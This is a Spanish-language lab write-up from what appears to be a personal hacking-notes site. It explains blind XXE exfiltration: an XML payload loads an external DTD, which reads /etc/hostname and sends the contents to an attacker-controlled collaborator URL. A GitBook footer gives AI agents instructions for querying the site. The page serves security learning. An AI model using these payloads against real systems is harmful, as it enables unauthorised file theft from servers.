> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/blind-xxe-exfiltration-via-external-dtd.md).

# Exfiltración XXE ciega mediante DTD externa

### Explotando XXE ciego para exfiltrar datos usando un DTD externo malicioso

Laboratorio: función **"Consultar stock"** que analiza XML pero **no muestra** contenido inyectado (XXE azul / OOB). / Comportamiento observado: El analizador acepta una declaración DOCTYPE que enlaza un DTD externo y realiza solicitudes a él.

Extraer silenciosamente datos del servidor local (p. ej. `/etc/hostname`) obligando al analizador XML a cargar un DTD externo malicioso que a su vez lee el archivo y desencadena una solicitud HTTP(S) a nuestro servidor de control (collaborator / exploit server) que contiene el contenido leído.

#### Ejemplo de carga útil enviada al servidor (llamada inicial que incluye el DTD externo)

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://2777wjy7kmh9uyirsd64t7zomfs6gw4l.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

> Nota: aquí el DTD externo está alojado en nuestro servidor (servidor de explotación). El analizador debe recuperarlo para que el ataque funcione.

<figure><img src="/files/bbd2809fd3d8a79800205d5fffb1a18ee16156ae" alt=""><figcaption></figcaption></figure>

#### Contenido malicioso colocado en nuestro servidor (DTD externo)

El DTD proporcionado por el servidor de explotación contiene entidades que leen un archivo local y construyen una entidad evaluada que desencadenará una solicitud al colaborador con el contenido exfiltrado:

{% code overflow="wrap" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://pibu769uv9sw5lte30hr4uabx23urkf9.oastify.com?content=%file;'>">
%eval;
%exfil;
```

{% endcode %}

Explicación breve:

* `%file`: lee el `file:///etc/hostname` archivo local.
* `%eval`: construye dinámicamente una nueva `exfil` entidad cuyo valor es una URL que apunta a nuestro servidor de desexfiltración e incluye `%file` contenido como `contenido` parámetro.
* `%eval;` y `%exfil;` provocar la expansión y una solicitud HTTP saliente que contenga datos.

#### Ejemplo completo (llamada final del atacante a la aplicación vulnerable)

{% code overflow="wrap" %}

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://exploit-0a230088031451be8148386401b600f9.exploit-server.net/exploit"> %myFile;]>

<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

* El DTD para `https://.../exploit` contiene las definiciones maliciosas de DTD anteriores.
* Cuando el analizador se recupera y evalúa este DTD, termina realizando una solicitud HTTP a nuestro servidor de desexfiltración con `/etc/hostname` contenido.

<figure><img src="/files/c3e9ce28f358cabf1d3c8a4025fd2a1d39ce1d28" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xxe/blind-xxe-exfiltration-via-external-dtd.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
